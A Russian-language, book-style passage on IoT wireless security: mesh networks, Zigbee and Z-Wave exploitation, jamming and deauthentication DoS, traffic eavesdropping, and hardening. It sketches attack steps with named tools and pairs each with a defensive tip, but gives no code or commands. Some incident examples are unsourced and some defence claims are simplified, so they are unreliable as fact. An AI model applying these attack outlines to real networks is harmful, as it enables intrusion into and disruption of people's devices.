Ах, беспроводные Mesh-сети (WMN) - прекрасные, хаотичные, самовосстанавливающиеся сети, которые делают покрытие Wi-Fi похожим на магию. Если традиционный Wi-Fi похож на одинокий маршрутизатор, кричащий на все устройства в радиусе действия, то Mesh-сеть - это хорошо организованная толпа, где все говорят со всеми, расширяя зону покрытия на большие территории. Именно поэтому они являются основой умных городов, промышленного IoT и даже сетей аварийного восстановления.
Звучит здорово, не так ли? Ну, хакеры тоже их любят - и не потому, что они энтузиасты технологий. Децентрализованная, многоскачковая природа Mesh-сетей создает игровую площадку для злоумышленников, которые могут незаметно проникнуть, выдать себя за узлы или перенаправить трафик, пока никто не заметит. Это похоже на возможность проникнуть в систему автомагистралей и установить фальшивые пункты оплаты. Эта глава посвящена пониманию того, как работают WMN, где кроются их уязвимости и как мы можем их защитить, прежде чем злоумышленники возьмут контроль.

Что такое беспроводная Mesh-сеть (WMN)?

Беспроводная Mesh-сеть - это децентрализованная сеть, в которой каждый узел (маршрутизатор, устройство или точка доступа) напрямую подключается к нескольким другим узлам, образуя самовосстанавливающуюся, устойчивую сеть связи. В отличие от традиционных сетей, которые полагаются на один центральный маршрутизатор, WMN динамически адаптируются в зависимости от условий сети, позволяя перенаправлять трафик в случае сбоев узлов.

Типы беспроводных Mesh-сетей

Существует три основных типа WMN, каждый со своими сценариями использования и проблемами безопасности:
● Инфраструктурные Mesh-сети - используются в городах, больницах и на предприятиях, где несколько точек доступа формируют крупномасштабную, бесшовную Wi-Fi сеть.
● Клиентские Mesh-сети - устройства (например, смартфоны, ноутбуки или IoT-датчики) формируют сеть без выделенной инфраструктуры, обычно используемую при аварийном восстановлении и в военных приложениях.
● Гибридные Mesh-сети - смесь инфраструктурной и клиентской сетей, используемая в умных домах и на промышленных IoT-объектах.

Итак, хотя вся эта самовосстанавливающаяся, многоскачковая и децентрализованная связь звучит здорово, она также создает огромный набор проблем безопасности.

Проблемы безопасности в беспроводных Mesh-сетях

1. Отсутствие централизованного контроля безопасности
Поскольку WMN работают без единой точки контроля, традиционные меры безопасности (такие как межсетевые экраны и системы обнаружения вторжений) труднее реализовать. Злоумышленники могут слиться с сетью, что затрудняет отслеживание несанкционированных устройств.

2. Внедрение вредоносных узлов (также известное как атака "Незваный гость")
Одной из самых больших угроз для Mesh-сетей являются вредоносные узлы - злонамеренные устройства, выдающие себя за легитимные узлы Mesh-сети. Злоумышленники могут присоединиться к сети, перехватывать данные, внедрять вредоносный трафик или запускать атаки типа "отказ в обслуживании" (DoS).
🛡 Совет по защите: Используйте надежную взаимную аутентификацию между узлами, чтобы только доверенные устройства могли присоединиться к Mesh-сети.

3. Прослушивание и перехват пакетов
Поскольку Mesh-сети передают данные через несколько узлов, злоумышленники могут расположиться вдоль пути связи и перехватывать незашифрованные пакеты. Это особенно опасно в публичных или промышленных Mesh-сетях, где передаются конфиденциальные данные.
🛡 Совет по защите: Внедрите сквозное шифрование (E2EE) для защиты данных от посторонних глаз, даже если они проходят через скомпрометированные узлы.

4. Маршрутизационные атаки ("Короткий путь хакера")
Mesh-сети полагаются на динамические протоколы маршрутизации для определения наилучшего пути передачи данных. Злоумышленники могут манипулировать этими маршрутами, запуская такие атаки, как:
● Атака "черная дыра" - вредоносный узел поглощает весь трафик и отбрасывает его, фактически прекращая связь.
● Атака "червоточина" - злоумышленники туннелируют пакеты между двумя удаленными точками, обманывая сеть, заставляя ее думать, что существует более короткий (но скомпрометированный) путь.
● Атака Сивиллы - один злоумышленник создает множество фальшивых идентификаторов, перегружая сеть поддельными узлами.
🛡 Совет по защите: Используйте безопасные протоколы маршрутизации, такие как SAODV (Secure Ad hoc On-Demand Distance Vector), и внедрите мониторинг поведения узлов для обнаружения аномалий.

5. Атаки типа "отказ в обслуживании" (DoS) и глушение
Mesh-сети уязвимы для атак типа "отказ в обслуживании" (DoS), при которых злоумышленники перегружают сеть поддельными запросами, выводя систему из строя. Хуже того, глушение радиоэфира может нарушить связь, перегружая частотный спектр, используемый узлами Mesh-сети.
🛡 Совет по защите: Разверните системы обнаружения вторжений (IDS) и используйте методы расширенного спектра с частотным скачкообразным изменением (FHSS) для смягчения атак глушения.

Реальные примеры сбоев безопасности Mesh-сетей

🔹 Умные города под атакой - Многие города используют Mesh-сети для общественного Wi-Fi, управления дорожным движением и систем видеонаблюдения. В 2018 году исследователи безопасности продемонстрировали, как плохо защищенные узлы Mesh-сети в среде умного города могут быть использованы для нарушения работы светофоров и систем видеонаблюдения.
🔹 Компрометация промышленного IoT - На производственном предприятии злоумышленники использовали небезопасные датчики, подключенные к Mesh-сети, для манипулирования процессами автоматизации производства, что привело к задержкам, повреждению оборудования и финансовым потерям.
🔹 Взлом сети аварийного реагирования - После стихийного бедствия спасатели использовали временную Mesh-сеть для связи. Злоумышленники проникли в систему, подделали экстренные оповещения и распространили ложные инструкции по эвакуации, вызвав хаос.

Лучшие практики защиты беспроводных Mesh-сетей

Теперь, когда мы знаем, как хакеры могут использовать Mesh-сети, давайте поговорим о том, как их укрепить против атак.
1️⃣ Используйте надежную аутентификацию и шифрование
● Внедрите WPA3-Enterprise с аутентификацией 802.1X для предотвращения подключения несанкционированных узлов.
● Шифруйте трафик Mesh-сети с помощью AES-256 или туннелирования на основе TLS для предотвращения перехвата пакетов.

2️⃣ Отслеживайте вредоносные устройства
● Используйте инструменты мониторинга Mesh-сетей для обнаружения неизвестных или подозрительных узлов.
● Внедрите аутентификацию на основе сертификатов для проверки узлов.

3️⃣ Защитите протоколы маршрутизации
● Переключитесь на безопасные протоколы маршрутизации Mesh-сетей, такие как SAODV, B.A.T.M.A.N. или OLSRv2 с расширениями безопасности.
● Включите обнаружение вторжений на основе аномалий для выявления необычного поведения маршрутизации.

4️⃣ Внедрите контроль доступа
● Ограничьте привилегии узлов на основе ролей (например, IoT-датчики не должны иметь доступа уровня администратора).
● Используйте межсетевые экраны и сегментацию для изоляции конфиденциального трафика.

5️⃣ Защититесь от атак глушения
● Используйте методы расширенного спектра (FHSS, DSSS) для снижения рисков глушения.
● Разверните резервные каналы связи (сотовые, спутниковые) для критически важных приложений.

Заключение: Не позволяйте хакерам захватить вашу Mesh-сеть

Беспроводные Mesh-сети мощны, гибки и устойчивы - но без надлежащей безопасности они могут стать раем для хакеров. Независимо от того, защищаете ли вы умный город, корпоративный кампус или даже Mesh-Wi-Fi своего дома, помните:
🔹 Всегда аутентифицируйте узлы перед их подключением.
🔹 Шифруйте все - особенно в многоскачковых средах.
🔹 Отслеживайте свою сеть на предмет аномалий и вредоносных устройств.
🔹 Используйте безопасные протоколы маршрутизации для предотвращения перехвата.
В конечном итоге, хорошо защищенная Mesh-сеть может стать неприступной крепостью - но только если вы примете правильные меры защиты. Так что заприте ее, будьте бдительны и не позволяйте киберпреступникам превратить вашу Mesh-сеть в свою личную игровую площадку!

9.2 Эксплуатация протоколов Zigbee и Z-Wave в умных домах​

Добро пожаловать в Дикий Запад взлома умных домов!
Ах, умные дома - футуристическая мечта, где ваши огни включаются автоматически, ваш термостат знает вашу любимую температуру, а ваша дверь запирается, когда вы уходите. Удобно, не так ли? Ну, позвольте мне представить вам Zigbee и Z-Wave - невидимых кукловодов, управляющих многими из этих IoT-устройств. Эти протоколы похожи на секретные рукопожатия автоматизации умного дома, позволяющие всему, от умных лампочек до систем безопасности, общаться друг с другом.
Но вот в чем дело - хакеры любят эти протоколы даже больше, чем энтузиасты технологий. Почему? Потому что, хотя они и упрощают автоматизацию, они также создают очевидные дыры в безопасности. Одно скомпрометированное устройство Zigbee или Z-Wave может стать лазейкой для всей сети умного дома. Представьте, что хакер открывает вашу входную дверь, отключает сигнализацию и включает ваш термостат до режима "сауны" просто ради забавы. Эта глава посвящена тому, как злоумышленники используют эти протоколы - и, что более важно, как от них защититься.

Zigbee и Z-Wave: Что это такое?

Zigbee: Открытая Mesh-сеть
Zigbee - это протокол беспроводной связи с низким энергопотреблением и низкой скоростью передачи данных, предназначенный для домашней автоматизации, промышленного управления и умного освещения. Он работает на частоте 2,4 ГГц (как и Wi-Fi и Bluetooth), что означает, что он подвержен помехам, но имеет сильное глобальное присутствие.
Ключевые особенности Zigbee
✅ Mesh-сеть: устройства общаются друг с другом, улучшая дальность действия и надежность.
✅ Низкое энергопотребление: идеально подходит для IoT-гаджетов с питанием от батарей.
✅ Открытый стандарт: используется многими крупными брендами, такими как Philips Hue, Amazon Echo и Samsung SmartThings.

Z-Wave: Проприетарный король умного дома

Z-Wave - еще один протокол беспроводной связи, разработанный для автоматизации умного дома. В отличие от Zigbee, он работает на частотах ниже 1 ГГц (диапазон 900 МГц), что означает меньшее количество помех и большую дальность действия. Однако Z-Wave является закрытым, проприетарным стандартом, что означает, что его используют меньше производителей по сравнению с Zigbee.
Ключевые особенности Z-Wave
✅ Большая дальность действия: может достигать до 100 метров на один скачок (по сравнению с 10-30 метрами у Zigbee).
✅ Меньше помех: работает на частотах ниже 1 ГГц, избегая перегрузки Wi-Fi.
✅ Более сильная модель безопасности (вроде бы): новые версии Z-Wave используют шифрование AES-128.

Как хакеры используют Zigbee и Z-Wave

Теперь, когда мы знаем, как работают эти протоколы, давайте поговорим о том, как злоумышленники могут их взломать.
1. Прослушивание и перехват трафика Zigbee
Поскольку Zigbee работает в диапазоне 2,4 ГГц, злоумышленник с дешевым USB-радиоадаптером (например, APIMote или Zigbee sniffer) может перехватывать незашифрованные пакеты Zigbee. Это позволяет им:
🔹 Повторно отправлять команды (например, включать свет, открывать двери).
🔹 Извлекать ключи шифрования из неправильно настроенных устройств.
🔹 Идентифицировать устройства в сети, подготавливая дальнейшие атаки.
🛡 Совет по защите: Всегда включайте шифрование Zigbee и используйте белый список устройств для предотвращения несанкционированного доступа.

2. Атака понижения версии Z-Wave (также известная как ловушка обратной совместимости)
Устройства Z-Wave должны использовать шифрование AES-128 для безопасной связи. Но вот в чем загвозд: старые устройства Z-Wave не поддерживают шифрование, а многие новые устройства переключаются в небезопасные режимы для совместимости.
🔹 Злоумышленники могут заставить устройство перейти в незашифрованный режим, что позволит им перехватывать и повторять команды.
🔹 Было обнаружено, что некоторые умные замки принимают незашифрованные команды разблокировки при принудительном переключении в устаревший режим.
🛡 Совет по защите: При настройке устройств Z-Wave отключите небезопасные режимы сопряжения и принудительно включите шифрование AES.

3. Глушение сигналов Zigbee и Z-Wave
Поскольку Zigbee работает на частоте 2,4 ГГц, а Z-Wave использует частоты ниже 1 ГГц, злоумышленник с простым RF-глушителем может полностью нарушить работу устройств умного дома. Представьте, что вы можете:
🔹 Глушить умные замки, предотвращая их запирание или отпирание.
🔹 Отключать датчики движения, чтобы злоумышленник мог свободно перемещаться.
🔹 Отключать систему безопасности умного дома, не оставляя следов.
🛡 Совет по защите: Используйте двухчастотные умные устройства, которые могут переключаться на резервные каналы Wi-Fi или сотовой связи в случае глушения.

4. Клонирование и выдача себя за устройства
Zigbee и Z-Wave полагаются на уникальные идентификаторы для аутентификации устройств. Однако многие устройства не проверяют эти идентификаторы должным образом, что позволяет злоумышленникам подделывать легитимные устройства.
🔹 Пример: Хакер клонирует умную лампочку Zigbee и выдает себя за настоящий выключатель света, выполняя вредоносные команды.
🔹 Пример: Устройства Z-Wave с плохой аутентификацией могут быть обмануты и принять вредоносные контроллеры.
🛡 Совет по защите: Включите строгую аутентификацию устройств и вручную утверждайте новые устройства в вашем хабе умного дома.

5. Эксплуатация слабых ключей по умолчанию в сетях Zigbee
Многие устройства Zigbee используют ключи сети по умолчанию, которые часто жестко закодированы в прошивке или легко угадываются. Злоумышленники могут:
🔹 Извлекать ключи из общедоступных дампов прошивки.
🔹 Использовать предварительно вычисленные базы данных ключей для расшифровки трафика Zigbee.
🔹 Выполнять атаки "человек посередине" (MITM) на слабо защищенных сетях Zigbee.
🛡 Совет по защите: Немедленно измените ключи сети по умолчанию и используйте шифрование на основе установочного кода.

Реальные примеры взломов Zigbee и Z-Wave

🔹 Червь Philips Hue (2020): Исследователи продемонстрировали, как они могли удаленно заразить лампочку Philips Hue вредоносным ПО и распространить его на всю сеть умного дома.
🔹 Обход умного замка Z-Wave (2018): Аналитики безопасности использовали атаку понижения версии Z-Wave для разблокировки умных замков без аутентификации.
🔹 Атака на Amazon Echo Zigbee (2019): Хакеры нашли способ внедрить вредоносные команды Zigbee в устройства Amazon Echo, вызывая несанкционированные действия.

Как защитить свой умный дом от эксплойтов Zigbee и Z-Wave

✔ Включите надежное шифрование - Всегда используйте шифрование AES-128 как для устройств Zigbee, так и для Z-Wave.
✔ Отключите устаревшие режимы сопряжения - Убедитесь, что ваши устройства Z-Wave никогда не переключаются в незашифрованные режимы.
✔ Используйте физическую безопасность - Обеспечьте физическую безопасность хабов и контроллеров умного дома для предотвращения несанкционированного доступа.
✔ Отслеживайте вредоносные устройства - Регулярно сканируйте свою сеть на наличие неизвестных узлов Zigbee или Z-Wave.
✔ Используйте резервную связь - Имейте запасной вариант, такой как Wi-Fi или сотовые оповещения, на случай атак глушения.

Заключение: Будущее безопасности умного дома

Zigbee и Z-Wave обеспечивают удивительное удобство, но также и серьезные риски безопасности. Хакеры постоянно находят новые способы использования этих протоколов, поэтому важно быть на шаг впереди.
Если вы интересуетесь безопасностью умного дома, продолжайте экспериментировать, продолжайте учиться и, самое главное, заприте свои устройства, прежде чем это сделает кто-то другой!

9.3 Атаки глушения и "отказ в обслуживании" (DoS) на IoT-сети​

Хотели когда-нибудь стать охотником за привидениями Wi-Fi?
Представьте себе: вы отдыхаете дома, смотрите любимое шоу, когда внезапно все отключается. Ваши умные лампочки начинают барахлить, ваш умный замок отказывается открываться, а ваша камера безопасности отключается. Вы проверяете свой маршрутизатор - все выглядит нормально. Что произошло? Поздравляем! Возможно, вас только что заглушили.
Беспроводное глушение и атаки типа "отказ в обслуживании" (DoS) - это тихие убийцы IoT-сетей. В отличие от атак взлома, которые полагаются на скрытые лазейки или слабые пароли, эти атаки не требуют учетных данных или эксплойтов программного обеспечения. Вместо этого они загрязняют вашу сеть радиошумом, помехами сигнала или поддельными запросами, фактически отключая ваши IoT-устройства.
Если взлом - это как вскрытие замка, то глушение - это как разбивание всей двери кувалдой. Давайте разберемся, как работают эти атаки и почему они являются кошмаром для безопасности IoT.

Что такое атаки глушения и "отказ в обслуживании" (DoS)?

По сути, и глушение, и атаки DoS имеют одну цель: нарушить связь. Но они достигают этого разными способами.
🔊 Атаки глушения: перегрузка эфира
Атаки глушения включают в себя перегрузку беспроводной частоты помехами, что делает невозможным связь между устройствами. Поскольку IoT-устройства часто используют Wi-Fi, Zigbee, Z-Wave, Bluetooth и другие протоколы с низким энергопотреблением, хорошо спланированная атака глушения может вывести из строя всю систему умного дома или промышленного IoT.
🔹 Типы атак глушения:
● Постоянное глушение: устройство постоянно излучает шум, предотвращая любую легитимную связь.
● Реактивное глушение: злоумышленник молчит до тех пор, пока не обнаружит сигнал, а затем перегружает канал помехами.
● Обманное глушение: вместо шума внедряются фальшивые сигналы, заставляющие устройства молчать.

🌐 Атаки "отказ в обслуживании" (DoS): перегрузка сети

В отличие от глушения, которое нацелено на радиосигналы, атаки DoS перегружают сеть поддельными запросами, делая устройства слишком занятыми, чтобы функционировать должным образом. Это может быть достигнуто с помощью:
🔹 Перегрузка пакетами - перегрузка маршрутизатора или IoT-хаба бесполезными данными до его сбоя.
🔹 Атаки деаутентификации - принудительное многократное отключение Wi-Fi устройств.
🔹 IoT-ботнеты (DDoS) - тысячи скомпрометированных устройств одновременно запускают атаку, вызывая масштабные сбои (вспомните ботнет Mirai).

Как злоумышленники осуществляют атаки глушения и DoS на IoT-сети

Хорошо, теперь, когда мы знаем основы, давайте поговорим о том, как хакеры на самом деле это делают.
1️⃣ Глушение Wi-Fi и устройств умного дома
Необходимые инструменты:
✔ Дешевое SDR (программно-определяемое радио), такое как HackRF One или RTL-SDR
✔ Wi-Fi Deauther (ESP8266)
✔ Raspberry Pi или ноутбук с Kali Linux
📡 Как это работает:
● Злоумышленник настраивается на целевую частоту Wi-Fi (2,4 ГГц или 5 ГГц).
● Они перегружают эфир мусорными сигналами, делая реальную связь невозможной.
● Умные устройства, камеры безопасности и даже Alexa полностью отключаются.
🛡 Совет по защите: Используйте двухдиапазонный Wi-Fi (2,4 ГГц и 5 ГГц) и включите автоматическое скачкообразное изменение частоты для минимизации воздействия.

2️⃣ Атаки деаутентификации на Wi-Fi устройства
Задумывались ли вы когда-нибудь, как некоторые "шутники" могут отключать людей от общественного Wi-Fi? Это связано с огромным недостатком протокола Wi-Fi 802.11 - пакетами деаутентификации.
📡 Как это работает:
● Злоумышленник подделывает Wi-Fi маршрутизатор и сообщает устройствам: "Эй, вы отключены!"
● Устройства послушно разрывают соединение.
● Поскольку эта атака повторяется снова и снова, устройства никогда не переподключаются.
🛡 Совет по защите: Используйте шифрование WPA3, которое предотвращает атаки деаутентификации. Также рассмотрите рандомизацию MAC-адресов.

3️⃣ Глушение Zigbee и Z-Wave устройств умного дома
Поскольку Zigbee и Z-Wave используют другие частоты, чем Wi-Fi, злоумышленники используют разные методы глушения.
📡 Как это работает:
● Zigbee (2,4 ГГц) может быть заглушен с помощью тех же инструментов, что и для глушения Wi-Fi.
● Z-Wave (900 МГц) требует специального передатчика SDR, но может быть легко перегружен из-за низкой мощности.
● Злоумышленники могут блокировать умные замки от получения команд "разблокировать" или отключать датчики движения в системах безопасности.
🛡 Совет по защите: Инвестируйте в хабы умного дома, которые используют шифрованный трафик Zigbee/Z-Wave. Некоторые новые устройства используют скачкообразное изменение частоты для предотвращения глушения.

4️⃣ Атаки глушения Bluetooth
Большинство устройств Bluetooth - таких как умные часы, колонки и фитнес-трекеры - уязвимы для глушения. Поскольку Bluetooth также работает на частоте 2,4 ГГц, злоумышленник может:
📡 Как это работает:
● Использовать SDR для создания помех на каналах Bluetooth.
● Предотвращать работу умных замков, беспроводных наушников и фитнес-трекеров.
● Нарушать работу устройств BLE (Bluetooth Low Energy), вызывая сбои в работе умных медицинских устройств (серьезная проблема в здравоохранении!).
🛡 Совет по защите: По возможности переключайтесь на проводные соединения и используйте устройства Bluetooth 5, поддерживающие адаптивное скачкообразное изменение частоты.

5️⃣ Масштабные DoS-атаки на IoT (в стиле ботнета Mirai)
Ботнет Mirai был массивным кибероружием, которое заразило IoT-устройства, такие как камеры и маршрутизаторы. После заражения эти устройства запускали скоординированные DoS-атаки, перегружая крупные веб-сайты.

📡 Как это работает:
● Злоумышленники сканируют на наличие уязвимых IoT-устройств (устройства с паролями по умолчанию, устаревшей прошивкой).
● Они заражают устройства вредоносным ПО, превращая их в армию ботнета.
● Ботнет запускает DDoS-атаки на критически важные сервисы.
🛡 Совет по защите: Измените пароли по умолчанию, обновите прошивку IoT-устройств и заблокируйте несанкционированный удаленный доступ.

Защита от атак глушения и DDoS

✅ 1. Используйте зашифрованные протоколы и протоколы с адаптивной перестройкой частоты
Современные IoT-устройства поддерживают Zigbee/Z-Wave с шифрованием AES и Bluetooth 5 с адаптивной перестройкой частоты. Это затрудняет глушение.
✅ 2. Инвестируйте в двухдиапазонный или трехдиапазонный Wi-Fi
Маршрутизатор, поддерживающий диапазоны 2,4 ГГц, 5 ГГц и 6 ГГц, может автоматически переключаться на другую частоту при атаке.
✅ 3. Используйте проводные резервные копии для критически важных устройств
Если система умной безопасности полагается только на Wi-Fi или Zigbee, ее легко заглушить. Наличие проводного резервного канала Ethernet делает ее устойчивой к глушению.
✅ 4. Разверните системы обнаружения беспроводных вторжений (WIDS)
WIDS может обнаруживать внезапные помехи сигнала и оповещать вас о попытках глушения.
✅ 5. Отслеживайте трафик IoT на предмет аномальной активности
Настройте правила брандмауэра для блокировки избыточных запросов и предотвращения заражения IoT-устройств ботнетами.

Заключительные мысли: Реальность атак глушения IoT

Атаки глушения и отказа в обслуживании (DoS) являются низкотехнологичными, но высокоэффективными. Они не требуют продвинутых навыков взлома - только подходящего оборудования и злого умысла. Будь то Wi-Fi, Zigbee, Z-Wave или Bluetooth, все беспроводные сети в той или иной степени уязвимы.
Так что, если вы когда-нибудь заметите, что ваш умный дом ведет себя странно, камеры безопасности отключаются или умный замок не реагирует, не вините только плохой Wi-Fi. Возможно, вы просто подвергаетесь атаке. 😈9.4 Прослушивание беспроводного трафика IoT

Шпионаж за вашим умным тостером (и другими секретами IoT)

Задумывались ли вы когда-нибудь, что ваш умный холодильник шепчет вашему Wi-Fi-маршрутизатору в 3 часа ночи? Нет? Ну, хакеры точно задумывались. Прослушивание беспроводного трафика IoT похоже на настройку на секретную радиостанцию, где ваши устройства непринужденно транслируют конфиденциальную информацию.
Представьте себе: ваши умные устройства - это как болтливые коллеги, которые не умеют хранить секреты. Они постоянно общаются через Wi-Fi, Bluetooth, Zigbee или RF - часто небезопасно. И точно так же, как тот человек в офисе, который громко рассказывает о своих планах на выходные, некоторые из ваших IoT-устройств могут утекать личные данные, не осознавая этого. Итак, давайте разберемся, как злоумышленники перехватывают этот трафик, что они могут узнать и, самое главное, как помешать им настраиваться на ваши разговоры в IoT.

Что такое беспроводное прослушивание?

Прослушивание, или пассивный сниффинг трафика, - это искусство незаметного захвата данных, передаваемых по сети. В отличие от активных атак (таких как глушение или деаутентификация), прослушивание - это скрытность. Оно не нарушает трафик; оно просто слушает.

Почему трафик IoT уязвим?

Многие IoT-устройства не имеют шифрования или используют слабые протоколы безопасности. Это делает их легкими мишенями для злоумышленников, использующих:
● Снифферы пакетов - Инструменты, такие как Wireshark или Tcpdump, для захвата незашифрованных данных.
● Программно-определяемые радиостанции (SDR) - Устройства, такие как HackRF One, для перехвата радиочастотной связи IoT.
● Снифферы Bluetooth - Оборудование, такое как Ubertooth One, для шпионажа за соединениями Bluetooth Low Energy (BLE).

Как злоумышленники перехватывают трафик IoT

1️⃣ Сниффинг трафика Wi-Fi
Большинство IoT-устройств подключаются через Wi-Fi, что делает его основной целью для прослушивания.
📡 Как это работает:
● Злоумышленник настраивает Wi-Fi-адаптер в режиме мониторинга (с помощью таких инструментов, как Aircrack-ng).
● Он захватывает пакеты и анализирует их в Wireshark.
● Если сеть использует WEP или WPA (со слабым паролем), он может расшифровать трафик и увидеть все в открытом тексте.
🛡 Совет по защите: Всегда используйте шифрование WPA3 и отключайте устаревшие протоколы, такие как WEP/WPA.

2️⃣ Шпионаж за устройствами Bluetooth
Устройства Bluetooth повсюду - умные часы, фитнес-трекеры, беспроводные наушники. Многие используют Bluetooth Low Energy (BLE), который имеет слабые меры безопасности.
📡 Как это работает:
● Злоумышленники используют Ubertooth One для сканирования ближайших BLE-устройств.
● Они захватывают запросы на сопряжение и используют слабые PIN-коды для расшифровки связи.
● Они извлекают конфиденциальные данные, такие как показатели здоровья с умных часов или даже нажатия клавиш с беспроводных клавиатур.
🛡 Совет по защите: Используйте устройства Bluetooth 5+, поддерживающие шифрование AES, и отключайте Bluetooth, когда он не используется.

3️⃣ Перехват трафика Zigbee и Z-Wave
Устройства умного дома (такие как лампочки, замки и датчики) часто используют Zigbee или Z-Wave. Эти протоколы отлично подходят для связи с низким энергопотреблением, но они не всегда безопасны.
📡 Как это работает:
● Злоумышленник использует SDR (например, HackRF или RTL-SDR) для прослушивания на частоте Zigbee 2,4 ГГц или в диапазоне Z-Wave 900 МГц.
● Он захватывает пакеты, анализирует ключи шифрования и извлекает команды - такие как "открыть входную дверь" или "отключить сигнализацию".
● В некоторых случаях незашифрованный трафик Zigbee может быть воспроизведен, что позволяет злоумышленникам удаленно выключать свет или отключать системы безопасности.
🛡 Совет по защите: Используйте устройства Zigbee 3.0 или Z-Wave S2 с включенным надлежащим шифрованием.

4️⃣ Захват трафика RFID и NFC
RFID и NFC используются в картах доступа, бесконтактных платежах и даже паспортах. Однако многие системы по-прежнему используют незашифрованные данные.
📡 Как это работает:
● Злоумышленники используют RFID-скиммер или NFC-считыватель для захвата информации с карты.
● Они анализируют необработанные данные и, если шифрование слабое, клонируют карту для несанкционированного доступа.
🛡 Совет по защите: Используйте кошельки с RFID-блокировкой и убедитесь, что NFC-транзакции требуют аутентификации по PIN-коду.

Реальные сценарии прослушивания📌

Пример 1: Умный термостат, который сливал пароли от Wi-Fi
Исследователи обнаружили, что некоторые умные термостаты с поддержкой Wi-Fi отправляли незашифрованные конфигурационные данные по сети. Это включало SSID Wi-Fi и пароли, которые злоумышленник мог легко перехватить и использовать для получения контроля над всей домашней сетью.
🚀 Вывод: Всегда проверяйте, шифрует ли ваше IoT-устройство конфиденциальные данные.
📌 Пример 2: Сниффинг BLE раскрыл медицинские данные
Эксперты по безопасности обнаружили, что некоторые умные инсулиновые помпы передавали незашифрованные BLE-данные. Злоумышленники могли перехватывать информацию о дозировке и даже вводить поддельные команды для удаленного изменения настроек.
🚀 Вывод: Медицинские IoT-устройства всегда должны использовать сквозное шифрование.

Стратегии защиты: как остановить беспроводных шпионов

✅ 1. Всегда используйте надежное шифрование
● Используйте WPA3 для Wi-Fi (отключите WEP и WPA).
● Убедитесь, что устройства Bluetooth и Zigbee поддерживают шифрование AES-128 или AES-256.
✅ 2. Отслеживайте беспроводной трафик на предмет подозрительной активности
● Настройте системы обнаружения беспроводных вторжений (WIDS) для обнаружения поддельных снифферов.
● Периодически используйте Wireshark для проверки собственной сети на наличие неожиданного трафика.
✅ 3. Отключите неиспользуемые беспроводные функции
● Отключайте Bluetooth, Wi-Fi и NFC, когда они не используются.
● Предотвратите трансляцию ненужных данных устройствами IoT.
✅ 4. Используйте VPN и безопасные протоколы связи
● Убедитесь, что IoT-устройства используют шифрование TLS для всех передач данных.
● Направляйте трафик IoT через безопасный VPN для предотвращения сниффинга пакетов.
✅ 5. Инвестируйте в безопасные IoT-устройства
● Покупайте устройства, поддерживающие последние стандарты безопасности (избегайте дешевых брендов без имени).
● Обновляйте прошивку для устранения уязвимостей.

Заключительные мысли: шпионит ли ваш умный дом за вами?

Если вы думали, что прослушивание - это только для шпионов в фильмах, подумайте еще раз. Беспроводное прослушивание - это реальная угроза, и IoT-устройства являются одними из худших нарушителей, когда дело доходит до утечки конфиденциальных данных.
Хорошая новость? Вы можете дать отпор. С помощью надежного шифрования, безопасных конфигураций и проактивного мониторинга вы можете помешать хакерам настраиваться на ваши личные разговоры.
Так что в следующий раз, когда вы подключите это блестящее новое умное устройство, спросите себя:
"Безопасно ли это устройство, или это просто еще один болтун, готовый проболтаться о моих секретах?"

9.5 Усиление беспроводных сетей IoT против атак​

Ваши IoT-устройства замышляют против вас (если вы не дадите отпор!) Когда-нибудь возникало ощущение, что ваша умная дверная звонок, термостат и холодильник тайно работают вместе, чтобы свергнуть безопасность вашего дома? Нет? Ну, хакеры так думают. Беспроводные сети IoT - это золотые жилы уязвимостей, и злоумышленники постоянно ищут способы их использовать. Будь то угон вашей умной камеры, взлом вашей IoT-дверной замка или запуск ботнет-атак с вашего Wi-Fi-подключенного тостера - все это допустимо в мире киберпреступности.
Но не волнуйтесь - эта глава здесь не для того, чтобы подпитывать вашу паранойю (ладно, может быть, немного). Она здесь, чтобы вооружить вас проверенными в бою стратегиями для укрепления ваших IoT-сетей, блокировки киберугроз и обеспечения того, чтобы ваш умный дом или бизнес были безопаснее, чем Форт-Нокс. Если хакеры хотят проникнуть, давайте заставим их потрудиться - и заставим их пожалеть, что они вообще попытались.

Проблема безопасности IoT: почему эти устройства так уязвимы?

IoT-устройства не были разработаны с учетом безопасности. Большинство производителей сосредоточены на удобстве, а не на кибербезопасности, что приводит к некоторым огромным дырам в безопасности. Вот почему ваша беспроводная сеть IoT находится под угрозой:
● Слабое шифрование и учетные данные по умолчанию - Многие IoT-устройства по-прежнему поставляются с паролями администратора по умолчанию (привет, "admin:admin") и устаревшими стандартами шифрования.
● Неисправленные уязвимости - В отличие от компьютеров, IoT-устройства редко получают обновления прошивки, оставляя их открытыми для эксплойтов.
● Небезопасные протоколы связи - Устройства Zigbee, Z-Wave и Bluetooth часто не имеют надлежащей аутентификации, что облегчает их перехват.
● Несегментированные сети - Большинство людей подключают IoT-устройства к той же сети, что и свои ноутбуки и телефоны, создавая идеальную среду для хакеров.

Теперь, когда мы знаем проблему, давайте поговорим о том, как дать отпор.

Шаг 1: Защитите безопасность Wi-Fi как профессионал
Ваша сеть Wi-Fi - это привратник для большинства ваших IoT-устройств, поэтому ее защита должна быть приоритетом №1. Вот что нужно сделать:
✅ Используйте шифрование WPA3 - WPA2 все еще распространен, но WPA3 обеспечивает более надежную защиту от атак методом перебора. (Профессиональный совет: если ваш маршрутизатор не поддерживает WPA3, пора его обновить.)
✅ Отключите WPS (Wi-Fi Protected Setup) - WPS небезопасен и легко поддается атакам методом перебора. Отключите его - ваша IoT-сеть будет вам благодарна.
✅ Измените учетные данные маршрутизатора по умолчанию - "admin:admin" - это первая догадка хакера. Используйте надежный, уникальный пароль.
✅ Используйте скрытный SSID - Скрытие имени вашей сети не остановит решительных хакеров, но добавит еще один уровень скрытности.
✅ Сегментируйте IoT-устройства в отдельной сети - Создайте гостевой Wi-Fi или выделенный VLAN для IoT-устройств. Таким образом, если хакер скомпрометирует умное устройство, он не получит доступа к вашим личным файлам или рабочему ноутбуку.

Шаг 2: Обеспечьте аутентификацию IoT-устройств
Большинство атак на IoT начинаются со слабой аутентификации. Вот как это остановить:
✅ Немедленно измените пароли по умолчанию - Если ваше IoT-устройство все еще использует пароль производителя по умолчанию, поздравляем, вы - легкая мишень. Измените его как можно скорее.
✅ Включите многофакторную аутентификацию (MFA) - Если ваша IoT-платформа предлагает 2FA или MFA, используйте ее. Даже если злоумышленник украдет ваш пароль, он не сможет войти без второго фактора.
✅ Отключите неиспользуемые службы и открытые порты - Многие IoT-устройства имеют включенные по умолчанию функции удаленного доступа. Отключите их, если они вам абсолютно не нужны.
✅ Используйте фильтрацию MAC-адресов - Ограничьте доступ к сети только вашими известными IoT-устройствами. Это затруднит подключение неавторизованных устройств.

